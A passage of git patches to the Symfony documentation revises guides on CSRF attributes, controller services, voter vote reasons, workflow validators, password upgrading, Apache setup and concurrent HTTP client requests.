-In addition :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
-attribute can be applied to a controller class.
-This will cause the CSRF token validation to be executed for all routes defined within the controller::
+This attribute can also be applied to a controller class. When used this way,
+the CSRF token validation will be applied to **all actions** defined in that
+controller::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
     // ...
 
-    #[IsCsrfTokenValid('controller')]
-    final class FooController extends AbstractController
+    #[IsCsrfTokenValid('the token ID')]
+    final class SomeController extends AbstractController
     {
         // ...
     }

From 53e3b0dece9748ae7f45e1b59ef3b7fd37bc9975 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 May 2025 08:43:43 +0200
Subject: [PATCH 7006/7107] Mention that backward compatibility promise doesn't
 cover translations

---
 contributing/code/bc.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 497c70fb01d..ad394d2720c 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -176,6 +176,13 @@ covered by our backward compatibility promise:
 | Use a public, protected or private method     | Yes                         |
 +-----------------------------------------------+-----------------------------+
 
+Using our Translations
+~~~~~~~~~~~~~~~~~~~~~~
+
+All translations provided by Symfony for security and validation errors are
+intended for internal use only. They may be changed or removed at any time.
+Symfony's Backward Compatibility Promise does not apply to internal translations.
+
 Working on Symfony Code
 -----------------------
 

From 2c33c3623d631fc631bf75d3a5dcfbfb3d2c259f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 May 2025 09:12:33 +0200
Subject: [PATCH 7007/7107] [FrameworkBundle] Enable controller service with
 #[Route] attribute

---
 controller/service.rst | 84 +++++++++++++++++++++++++++++-------------
 routing.rst            |  2 +
 2 files changed, 61 insertions(+), 25 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index 88af093ff29..cf83e066a19 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -7,11 +7,65 @@ and your controllers extend the `AbstractController`_ class, they *are* automati
 registered as services. This means you can use dependency injection like any
 other normal service.
 
-If your controllers don't extend the `AbstractController`_ class, you must
-explicitly mark your controller services as ``public``. Alternatively, you can
-apply the ``controller.service_arguments`` tag to your controller services. This
-will make the tagged services ``public`` and will allow you to inject services
-in method parameters:
+If you prefer to not extend the ``AbstractController`` class, you can register
+your controllers as services in several ways:
+
+#. Using the ``#[Route]`` attribute;
+#. Using the ``#[AsController]`` attribute;
+#. Using the ``controller.service_arguments`` service tag.
+
+Using the ``#[Route]`` Attribute
+--------------------------------
+
+When using :ref:`the #[Route] attribute <routing-route-attributes>` to define
+routes on any PHP class, Symfony treats that class as a controller. It registers
+it as a public, non-lazy service and enables service argument injection in all
+its methods.
+
+This is the simplest and recommended way to register controllers as services
+when not extending the base controller class.
+
+.. versionadded:: 7.3
+
+    The feature to register controllers as services when using the ``#[Route]``
+    attribute was introduced in Symfony 7.3.
+
+Using the ``#[AsController]`` Attribute
+---------------------------------------
+
+If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically
+apply the ``controller.service_arguments`` tag to your controller services::
+
+    // src/Controller/HelloController.php
+    namespace App\Controller;
+
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\AsController;
+    use Symfony\Component\Routing\Attribute\Route;
+
+    #[AsController]
+    class HelloController
+    {
+        #[Route('/hello', name: 'hello', methods: ['GET'])]
+        public function index(): Response
+        {
+            // ...
+        }
+    }
+
+.. tip::
+
+    When using the ``#[Route]`` attribute, Symfony already registers the controller
+    class as a service, so using the ``#[AsController]`` attribute is redundant.
+
+Using the ``controller.service_arguments`` Service Tag
+------------------------------------------------------
+
+If your controllers don't extend the `AbstractController`_ class and you don't
+use the ``#[AsController]`` or ``#[Route]`` attributes, you must register the
+controllers as public services manually and apply the ``controller.service_arguments``
+:doc:`service tag </service_container/tags>` to enable service injection in
+controller actions:
 
 .. configuration-block::
 
@@ -58,26 +112,6 @@ in method parameters:
             calls:
                 - [setContainer, ['@abstract_controller.locator']]
 
-If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically
-apply the ``controller.service_arguments`` tag to your controller services::
-
-    // src/Controller/HelloController.php
-    namespace App\Controller;
-
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpKernel\Attribute\AsController;
-    use Symfony\Component\Routing\Attribute\Route;
-
-    #[AsController]
-    class HelloController
-    {
-        #[Route('/hello', name: 'hello', methods: ['GET'])]
-        public function index(): Response
-        {
-            // ...
-        }
-    }
-
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
 knows to use it.
diff --git a/routing.rst b/routing.rst
index e634a410c37..b8b2437ee3e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -18,6 +18,8 @@ your favorite.
 :ref:`Symfony recommends attributes <best-practice-controller-attributes>`
 because it's convenient to put the route and controller in the same place.
 
+.. _routing-route-attributes:
+
 Creating Routes as Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 310783b4c0a9f1b329c010b1c20dcdfed5643400 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 May 2025 09:55:29 +0200
Subject: [PATCH 7008/7107] [Translation] Don't mention the abandoned Doctrine
 Translatable behavior

---
 translation.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/translation.rst b/translation.rst
index b9fbdd7e0f6..f41d0cb6489 100644
--- a/translation.rst
+++ b/translation.rst
@@ -599,8 +599,7 @@ Translations of Doctrine Entities
 
 Unlike the contents of templates, it's not practical to translate the contents
 stored in Doctrine Entities using translation catalogs. Instead, use the
-Doctrine `Translatable Extension`_ or the `Translatable Behavior`_. For more
-information, read the documentation of those libraries.
+Doctrine `Translatable Extension`_.
 
 Custom Translation Resources
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1599,7 +1598,6 @@ Learn more
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
-.. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
 .. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes
 .. _`ICU resource bundle`: https://github.com/unicode-org/icu-docs/blob/main/design/bnf_rb.txt
 .. _`Portable object format`: https://www.gnu.org/software/gettext/manual/html_node/PO-Files.html

From 203c0f8e21071ad1396ef12686a344e39f47a1bc Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Tue, 25 Feb 2025 20:45:57 +0100
Subject: [PATCH 7009/7107] [Security] Add ability for voters to explain their
 vote

---
 security.rst        |  8 +++++++-
 security/voters.rst | 30 +++++++++++++++++++++++-------
 2 files changed, 30 insertions(+), 8 deletions(-)

diff --git a/security.rst b/security.rst
index ca910765be0..5a6fc15ae2e 100644
--- a/security.rst
+++ b/security.rst
@@ -2704,13 +2704,14 @@ anonymous users access by checking if there is no user set on the token::
     // ...
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Authentication\User\UserInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Vote;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
 
     class PostVoter extends Voter
     {
         // ...
 
-        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token, ?Vote $vote = null): bool
         {
             // ...
 
@@ -2722,6 +2723,11 @@ anonymous users access by checking if there is no user set on the token::
         }
     }
 
+.. versionadded:: 7.3
+    
+    The `$vote` parameter in the :method:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface::voteOnAttribute` method
+    was introduced in Symfony 7.3.
+
 Setting Individual User Permissions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/voters.rst b/security/voters.rst
index e7452fadf99..ba4c96fe6fd 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -40,14 +40,20 @@ or extend :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\Vote
 which makes creating a voter even easier::
 
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Vote;
     use Symfony\Component\Security\Core\Authorization\Voter\VoterInterface;
 
     abstract class Voter implements VoterInterface
     {
         abstract protected function supports(string $attribute, mixed $subject): bool;
-        abstract protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token): bool;
+        abstract protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool;
     }
 
+.. versionadded:: 7.3
+    
+    The `$vote` parameter in the :method:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface::voteOnAttribute` method
+    was introduced in Symfony 7.3.
+
 .. _how-to-use-the-voter-in-a-controller:
 
 .. tip::
@@ -140,6 +146,7 @@ would look like this::
     use App\Entity\Post;
     use App\Entity\User;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Authorization\Voter\Vote;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
 
     class PostVoter extends Voter
@@ -163,12 +170,14 @@ would look like this::
             return true;
         }
 
-        protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token): bool
+        protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool
         {
             $user = $token->getUser();
+            $vote ??= new Vote();
 
             if (!$user instanceof User) {
                 // the user must be logged in; if not, deny access
+                $vote->reasons[] = 'The user is not logged in.';
                 return false;
             }
 
@@ -197,7 +206,13 @@ would look like this::
         private function canEdit(Post $post, User $user): bool
         {
             // this assumes that the Post object has a `getOwner()` method
-            return $user === $post->getOwner();
+            if ($user === $post->getOwner()) {
+                return true;
+            }
+
+            $vote->reasons[] = 'You are not the owner of the Post.';
+
+            return false;
         }
     }
 
@@ -215,11 +230,12 @@ To recap, here's what's expected from the two abstract methods:
     return ``true`` if the attribute is ``view`` or ``edit`` and if the object is
     a ``Post`` instance.
 
-``voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token)``
+``voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null)``
     If you return ``true`` from ``supports()``, then this method is called. Your
     job is to return ``true`` to allow access and ``false`` to deny access.
-    The ``$token`` can be used to find the current user object (if any). In this
-    example, all of the complex business logic is included to determine access.
+    The ``$token`` can be used to find the current user object (if any). The ``$vote``
+    argument can be used to add a reason to the vote. In this example, all of the
+    complex business logic is included to determine access.
 
 .. _declaring-the-voter-as-a-service:
 
@@ -256,7 +272,7 @@ with ``ROLE_SUPER_ADMIN``::
         ) {
         }
 
-        protected function voteOnAttribute($attribute, mixed $subject, TokenInterface $token): bool
+        protected function voteOnAttribute($attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool
         {
             // ...
 

From ef9c945fe180c9a7a459b37e6a13fd0f63c9678d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 May 2025 10:24:48 +0200
Subject: [PATCH 7010/7107] Minor tweaks

---
 security.rst        |  4 ++--
 security/voters.rst | 22 ++++++++++++----------
 2 files changed, 14 insertions(+), 12 deletions(-)

diff --git a/security.rst b/security.rst
index 8b1c8a96e69..9d2df6165d0 100644
--- a/security.rst
+++ b/security.rst
@@ -2715,8 +2715,8 @@ anonymous users access by checking if there is no user set on the token::
 
 .. versionadded:: 7.3
     
-    The `$vote` parameter in the :method:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface::voteOnAttribute` method
-    was introduced in Symfony 7.3.
+    The ``$vote`` argument of the ``voteOnAttribute()`` method was introduced
+    in Symfony 7.3.
 
 Setting Individual User Permissions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/security/voters.rst b/security/voters.rst
index ba4c96fe6fd..2b4a5af54e2 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -51,8 +51,8 @@ which makes creating a voter even easier::
 
 .. versionadded:: 7.3
     
-    The `$vote` parameter in the :method:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface::voteOnAttribute` method
-    was introduced in Symfony 7.3.
+    The ``$vote`` argument of the ``voteOnAttribute()`` method was introduced
+    in Symfony 7.3.
 
 .. _how-to-use-the-voter-in-a-controller:
 
@@ -173,11 +173,10 @@ would look like this::
         protected function voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null): bool
         {
             $user = $token->getUser();
-            $vote ??= new Vote();
 
             if (!$user instanceof User) {
                 // the user must be logged in; if not, deny access
-                $vote->reasons[] = 'The user is not logged in.';
+                $vote?->addReason('The user is not logged in.');
                 return false;
             }
 
@@ -205,12 +204,15 @@ would look like this::
 
         private function canEdit(Post $post, User $user): bool
         {
-            // this assumes that the Post object has a `getOwner()` method
-            if ($user === $post->getOwner()) {
+            // this assumes that the Post object has a `getAuthor()` method
+            if ($user === $post->getAuthor()) {
                 return true;
             }
 
-            $vote->reasons[] = 'You are not the owner of the Post.';
+            $vote?->addReason(sprintf(
+                'The logged in user (username: %s) is not the author of this post (id: %d).',
+                $user->getUsername(), $post->getId()
+            ));
 
             return false;
         }
@@ -233,9 +235,9 @@ To recap, here's what's expected from the two abstract methods:
 ``voteOnAttribute(string $attribute, mixed $subject, TokenInterface $token, ?Vote $vote = null)``
     If you return ``true`` from ``supports()``, then this method is called. Your
     job is to return ``true`` to allow access and ``false`` to deny access.
-    The ``$token`` can be used to find the current user object (if any). The ``$vote``
-    argument can be used to add a reason to the vote. In this example, all of the
-    complex business logic is included to determine access.
+    The ``$token`` can be used to find the current user object (if any).
+    The ``$vote`` argument can be used to provide an explanation for the vote.
+    This explanation is included in log messages and on exception pages.
 
 .. _declaring-the-voter-as-a-service:
 

From a2c83bfb2fc02162dcc2e13a5d67d6f187c861a8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 May 2025 10:50:10 +0200
Subject: [PATCH 7011/7107] Minor tweaks

---
 workflow.rst | 24 +++++++++++++-----------
 1 file changed, 13 insertions(+), 11 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 544f775cce0..482fe8ed273 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -1306,11 +1306,11 @@ In Twig templates, metadata is available via the ``workflow_metadata()`` functio
         </ul>
     </p>
 
-Adding Custom Definition Validators
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Validating Workflow Definitions
+-------------------------------
 
-Sometimes, you may want to add custom logics to validate your workflow definition.
-To do this, you need to implement the
+Symfony allows you to validate workflow definitions using your own custom logic.
+To do so, create a class that implements the
 :class:`Symfony\\Component\\Workflow\\Validator\\DefinitionValidatorInterface`::
 
     namespace App\Workflow\Validator;
@@ -1326,11 +1326,12 @@ To do this, you need to implement the
             if (!$definition->getMetadataStore()->getMetadata('title')) {
                 throw new InvalidDefinitionException(sprintf('The workflow metadata title is missing in Workflow "%s".', $name));
             }
+
+            // ...
         }
     }
 
-Once your definition validator is implemented, you can configure your workflow to use
-it:
+After implementing your validator, configure your workflow to use it:
 
 .. configuration-block::
 
@@ -1340,7 +1341,7 @@ it:
         framework:
             workflows:
                 blog_publishing:
-                    # ... previous configuration
+                    # ...
 
                     definition_validators:
                         - App\Workflow\Validator\BlogPublishingValidator
@@ -1357,7 +1358,7 @@ it:
         >
             <framework:config>
                 <framework:workflow name="blog_publishing">
-                    <!-- ... previous configuration -->
+                    <!-- ... -->
                     <framework:definition-validators>App\Workflow\Validator\BlogPublishingValidator</framework:definition-validators>
                 </framework:workflow>
             </framework:config>
@@ -1370,7 +1371,7 @@ it:
 
         return static function (FrameworkConfig $framework): void {
             $blogPublishing = $framework->workflows()->workflows('blog_publishing');
-            // ... previous configuration
+            // ...
 
             $blogPublishing->definitionValidators([
                 App\Workflow\Validator\BlogPublishingValidator::class
@@ -1379,11 +1380,12 @@ it:
             // ...
         };
 
-The ``BlogPublishingValidator`` definition validator will be executed during the container compilation.
+The ``BlogPublishingValidator`` will be executed during container compilation
+to validate the workflow definition.
 
 .. versionadded:: 7.3
 
-    Support for defining custom workflow definition validators was introduced in Symfony 7.3.
+    Support for workflow definition validators was introduced in Symfony 7.3.
 
 Learn more
 ----------

From 6a908963b4574972ce644893138b76e5a52609c2 Mon Sep 17 00:00:00 2001
From: Romain Card <47689092+Synxgz@users.noreply.github.com>
Date: Fri, 23 May 2025 10:57:44 +0200
Subject: [PATCH 7012/7107] [Security] Fix type in `upgradePassword`

---
 security/passwords.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index fe20187b3a0..4bf481fa827 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -500,13 +500,14 @@ the user provider::
     namespace App\Security;
 
     // ...
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
     use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
 
     class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
     {
         // ...
 
-        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        public function upgradePassword(PasswordAuthenticatedUserInterface $user, string $newHashedPassword): void
         {
             // set the new hashed password on the User object
             $user->setPassword($newHashedPassword);

From faa30fc32ec1a0360baa201db0afd7edcf4861bb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 25 May 2025 11:52:44 +0200
Subject: [PATCH 7013/7107] [Security] Stateless CSRF is enabled by default in
 7.2

Page: https://symfony.com/doc/current/security/csrf.html#stateless-csrf-tokens

Info is taken from https://github.com/symfony/recipes/blob/main/symfony/form/7.2/config/packages/csrf.yaml
---
 security/csrf.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index b72c7cc2526..07e0671f07b 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -331,9 +331,9 @@ Stateless CSRF Tokens
 
 .. versionadded:: 7.2
 
-    Stateless anti-CSRF protection was introduced in Symfony 7.2.
+    Stateless anti-CSRF protection was introduced in Symfony 7.2, and set as default.
 
-By default CSRF tokens are stateful, which means they're stored in the session.
+Traditionally CSRF tokens are stateful, which means they're stored in the session.
 But some token ids can be declared as stateless using the ``stateless_token_ids``
 option:
 

From a73b542aa43ab744336cfbf8e341467f7746d13e Mon Sep 17 00:00:00 2001
From: Hamza Makraz <19323431+makraz@users.noreply.github.com>
Date: Sat, 24 May 2025 22:25:52 +0100
Subject: [PATCH 7014/7107] Update AsTaggedItem parameters name in the file
 value_resolver.rst

---
 controller/value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 48d0ba17bdb..f0f0db9aff1 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -382,7 +382,7 @@ but you can set it yourself to change its ``priority`` or ``name`` attributes.
         use Symfony\Component\DependencyInjection\Attribute\AsTaggedItem;
         use Symfony\Component\HttpKernel\Controller\ValueResolverInterface;
 
-         #[AsTaggedItem(name: 'booking_id', priority: 150)]
+         #[AsTaggedItem(index: 'booking_id', priority: 150)]
         class BookingIdValueResolver implements ValueResolverInterface
         {
             // ...

From d7eae45b90ca74ab0fed17efc2708a543c11c046 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 24 May 2025 15:06:55 +0200
Subject: [PATCH 7015/7107] [Form] Remove link to abandoned collection package

---
 form/form_collections.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 2a0ba99657f..3c8a2050690 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -699,13 +699,12 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 
     The Symfony community has created some JavaScript packages that provide the
     functionality needed to add, edit and delete elements of the collection.
-    Check out the `@a2lix/symfony-collection`_ package for modern browsers and
-    the `symfony-collection`_ package based on jQuery for the rest of browsers.
+    Check out the `@a2lix/symfony-collection`_ or search on GitHub for other
+    recent packages.
 
 .. _`Owning Side and Inverse Side`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/unitofwork-associations.html
 .. _`JSFiddle`: https://jsfiddle.net/ey8ozh6n/
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
-.. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
 .. _`Symfony UX Demo of Form Collections`: https://ux.symfony.com/live-component/demos/form-collection-type
 .. _`Stimulus`: https://symfony.com/doc/current/frontend/encore/simple-example.html#stimulus-symfony-ux

From f8cdbc89d9aadb4b509a314d28d093fb65f02557 Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Sun, 25 May 2025 11:15:12 -0400
Subject: [PATCH 7016/7107] Fixed typo in event_dispatcher.rst

---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index d9b913ed49f..13ef1624370 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -149,7 +149,7 @@ Defining Event Listeners with PHP Attributes
 
 An alternative way to define an event listener is to use the
 :class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
-PHP attribute. This allows to configure the listener inside its class, without
+PHP attribute. This allows you to configure the listener inside its class, without
 having to add any configuration in external files::
 
     namespace App\EventListener;

From ff3a594325e29c00b95519ef2f422c3749e2531f Mon Sep 17 00:00:00 2001
From: Ilya Bakhlin Lebedev <github@ilyabakhlinlebedev.com>
Date: Sun, 25 May 2025 12:11:13 +0200
Subject: [PATCH 7017/7107] Updating the web_server_configuration.rst File

In the documentation, it's being said that Symfony requires the `symfony/apache-pack`, which adds a `.htaccess` file to the `public/` directory.

However, it's nowhere specified to change the `AllowOverride` setting from `None` to `All`.
---
 setup/web_server_configuration.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index fdedfc81794..27bcc67aab0 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -195,7 +195,8 @@ directive to pass requests for PHP files to PHP FPM:
     If you are doing some quick tests with Apache, you can also run
     ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
     file in the ``public/`` directory with the necessary rewrite rules needed to serve
-    the Symfony application. However, in production, it's recommended to move these
+    the Symfony application. Don't forget to change the Apache's ``AllowOverride None`` setting to
+    ``AllowOverride All``. However, in production, it's recommended to move these
     rules to the main Apache configuration file (as shown above) to improve performance.
 
 Caddy

From 712707d07a4a322f8e387f9209279c949b50ae1a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 May 2025 12:59:37 +0200
Subject: [PATCH 7018/7107] Minor tweaks

---
 setup/web_server_configuration.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 27bcc67aab0..43bd79c10dd 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -192,12 +192,14 @@ directive to pass requests for PHP files to PHP FPM:
 
 .. note::
 
-    If you are doing some quick tests with Apache, you can also run
-    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
-    file in the ``public/`` directory with the necessary rewrite rules needed to serve
-    the Symfony application. Don't forget to change the Apache's ``AllowOverride None`` setting to
-    ``AllowOverride All``. However, in production, it's recommended to move these
-    rules to the main Apache configuration file (as shown above) to improve performance.
+    If you're running some quick tests with Apache, you can run
+    ``composer require symfony/apache-pack`` to create an ``.htaccess`` file in
+    the ``public/`` directory with the rewrite rules needed to serve the Symfony
+    application. Make sure Apache's ``AllowOverride`` setting is set to ``All``
+    for that directory; otherwise, the ``.htaccess`` file will be ignored.
+
+    In production, however, it's recommended to move these rules to the main
+    Apache configuration file (as shown above) to improve performance.
 
 Caddy
 -----

From ff3f1a1a6ba524581818259645d2ab99d46d7c07 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 May 2025 15:29:35 +0200
Subject: [PATCH 7019/7107] [HttpClient] Update the concurrent requests section

---
 http_client.rst | 75 +++++++++++++++++++++++++++----------------------
 1 file changed, 41 insertions(+), 34 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index f4be8b2460b..e2b0b4f41bf 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1314,65 +1314,72 @@ remaining to do.
 Concurrent Requests
 -------------------
 
-Thanks to responses being lazy, requests are always managed concurrently.
-On a fast enough network, the following code makes 379 requests in less than
-half a second when cURL is used::
+Symfony's HTTP client makes asynchronous HTTP requests by default. This means
+you don't need to configure anything special to send multiple requests in parallel
+and process them efficiently.
 
+Here's a practical example that fetches metadata about several Symfony
+components from the Packagist API in parallel::
+
+    $packages = ['console', 'http-kernel', '...', 'routing', 'yaml'];
     $responses = [];
-    for ($i = 0; $i < 379; ++$i) {
-        $uri = "https://http2.akamai.com/demo/tile-$i.png";
-        $responses[] = $client->request('GET', $uri);
+    foreach ($packages as $package) {
+        $uri = sprintf('https://repo.packagist.org/p2/symfony/%s.json', $package);
+        // send all requests concurrently (they won't block until response content is read)
+        $responses[$package] = $client->request('GET', $uri);
     }
 
-    foreach ($responses as $response) {
-        $content = $response->getContent();
-        // ...
+    $results = [];
+    // iterate through the responses and read their content
+    foreach ($responses as $package => $response) {
+        // process response data somehow ...
+        $results[$package] = $response->toArray();
     }
 
-As you can read in the first "for" loop, requests are issued but are not consumed
-yet. That's the trick when concurrency is desired: requests should be sent
-first and be read later on. This will allow the client to monitor all pending
-requests while your code waits for a specific one, as done in each iteration of
-the above "foreach" loop.
+As you can see, the requests are sent in the first loop, but their responses
+aren't consumed until the second one. This is the key to achieving parallel and
+concurrent execution: dispatch all requests first, and read them later.
+This allows the client to handle all pending responses efficiently while your
+code waits only when necessary.
 
 .. note::
 
-    The maximum number of concurrent requests that you can perform depends on
-    the resources of your machine (e.g. your operating system may limit the
-    number of simultaneous reads of the file that stores the certificates
-    file). Make your requests in batches to avoid these issues.
+    The maximum number of concurrent requests depends on your system's resources
+    (e.g. the operating system might limit the number of simultaneous connections
+    or access to certificate files). To avoid hitting these limits, consider
+    processing requests in batches.
 
 Multiplexing Responses
 ~~~~~~~~~~~~~~~~~~~~~~
 
-If you look again at the snippet above, responses are read in requests' order.
-But maybe the 2nd response came back before the 1st? Fully asynchronous operations
-require being able to deal with the responses in whatever order they come back.
+In the previous example, responses are read in the same order as the requests
+were sent. However, it's possible that, for instance, the second response arrives
+before the first. To handle such cases efficiently, you need fully asynchronous
+processing, which allows responses to be handled in whatever order they arrive.
 
-In order to do so, the
-:method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::stream`
-accepts a list of responses to monitor. As mentioned
+To achieve this, the
+:method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::stream` method
+can be used to monitor a list of responses. As mentioned
 :ref:`previously <http-client-streaming-responses>`, this method yields response
-chunks as they arrive from the network. By replacing the "foreach" in the
-snippet with this one, the code becomes fully async::
+chunks as soon as they arrive over the network. Replacing the standard ``foreach``
+loop with the following version enables true asynchronous behavior::
 
     foreach ($client->stream($responses) as $response => $chunk) {
         if ($chunk->isFirst()) {
-            // headers of $response just arrived
-            // $response->getHeaders() is now a non-blocking call
+            // the $response headers just arrived
+            // $response->getHeaders() is now non-blocking
         } elseif ($chunk->isLast()) {
-            // the full content of $response just completed
-            // $response->getContent() is now a non-blocking call
+            // the full $response body has been received
+            // $response->getContent() is now non-blocking
         } else {
-            // $chunk->getContent() will return a piece
-            // of the response body that just arrived
+            // $chunk->getContent() returns a piece of the body that just arrived
         }
     }
 
 .. tip::
 
-    Use the ``user_data`` option combined with ``$response->getInfo('user_data')``
-    to track the identity of the responses in your foreach loops.
+    Use the ``user_data`` option along with ``$response->getInfo('user_data')``
+    to identify each response during streaming.
 
 Dealing with Network Timeouts
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 1ea48c70da87d7cebe252c7fb94cb0fce499834f Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Wed, 21 May 2025 18:15:40 -0400
Subject: [PATCH 7020/7107] [Security] remove `plaintext` password hasher usage

---
 security/passwords.rst | 90 +++++++++++++++++++-----------------------
 1 file changed, 40 insertions(+), 50 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 4bf481fa827..9ebfa122ab2 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -124,25 +124,22 @@ Further in this article, you can find a
 
         .. code-block:: yaml
 
-            # config/packages/test/security.yaml
-            security:
-                # ...
-
-                password_hashers:
-                    # Use your user class name here
-                    App\Entity\User:
-                        algorithm: plaintext # disable hashing (only do this in tests!)
-
-                    # or use the lowest possible values
-                    App\Entity\User:
